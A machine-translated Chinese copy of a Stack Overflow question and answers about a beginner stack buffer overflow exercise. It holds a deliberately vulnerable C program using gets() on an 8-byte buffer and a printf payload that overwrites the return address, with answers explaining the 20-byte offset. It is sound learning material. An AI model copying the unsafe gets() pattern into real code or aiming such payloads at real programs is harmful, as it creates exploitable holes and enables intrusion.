11

我正在尝试控制堆栈溢出。gcc -fno-stack-protector -ggdb -o first first.c首先,这是我在 x32 VM Linux ( )上编译的 C 代码示例,

#include "stdio.h"

int CanNeverExecute()
{
    printf("I can never execute\n");
    return(0);
}

void GetInput()
{
    char buffer[8];

    gets(buffer);
    puts(buffer);
}

int main()
{
    GetInput();
    return(0);
}

然后调试器(英特尔风味):转储函数的汇编代码GetInput

0x08048455 <+0>:    push   ebp
0x08048456 <+1>:    mov    ebp,esp
0x08048458 <+3>:    sub    esp,0x28
0x0804845b <+6>:    lea    eax,[ebp-0x10]

在这里我们可以看到 sub esp, 0x28 为缓冲区变量保留了 40 个字节(对吗?)。 CanNeverExecute函数位于地址0x0804843c。因此,为了运行CanNeverExecute函数,我需要将 40 个字节放入缓冲区变量,然后将 8 个字节用于存储的基本指针,然后将 8 个字节的返回指针放入我想要更改的。

所以,我需要一串 48 个 ASCII 符号加上\x3c\x84\x04\x08最后(CanNeverExecute函数的地址)。那是理论上的。但实际上我只需要在返回指针的地址前 20 个字节:

~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)

为什么它只需要 20 个字节而不是 48 个字节?我的错误在哪里?

4

2 回答 2

9

首先,您的程序集是 32 位的。保存的 EBP 和返回地址各为 4 个字节。

其次,buffer变量不是从栈顶(ESP)开始——它从 ebp-0x10 开始。距离返回地址 20 个字节。0x10 是 16 个字节,然后是 4 个用于保存的 EBP。

于 2013-03-12T21:38:40.040 回答
2

如果你采取更大的拆卸部分你会看到:

08048445 <GetInput>:
8048445:    55                      push   %ebp
8048446:    89 e5                   mov    %esp,%ebp
8048448:    83 ec 28                sub    $0x28,%esp
804844b:    8d 45 f0                lea    -0x10(%ebp),%eax
804844e:    89 04 24                mov    %eax,(%esp)
8048451:    e8 9a fe ff ff          call   80482f0 <gets@plt>
8048456:    8d 45 f0                lea    -0x10(%ebp),%eax
8048459:    89 04 24                mov    %eax,(%esp)
804845c:    e8 9f fe ff ff          call   8048300 <puts@plt>
8048461:    c9                      leave  
8048462:    c3                      ret   

ebp 被保存,esp 被移动到 ebp,然后从 esp 中减去 40(堆栈帧,如你所写),但指向缓冲区的指针通过 eax 寄存器传递给 get,并且 eax 加载了 ebp-0x10!

lea    -0x10(%ebp),%eax

所以你只需要 20 个字节来溢出缓冲区(16 个保留 + 4 个用于存储在 32 位系统上的基指针)

于 2013-03-12T22:03:29.793 回答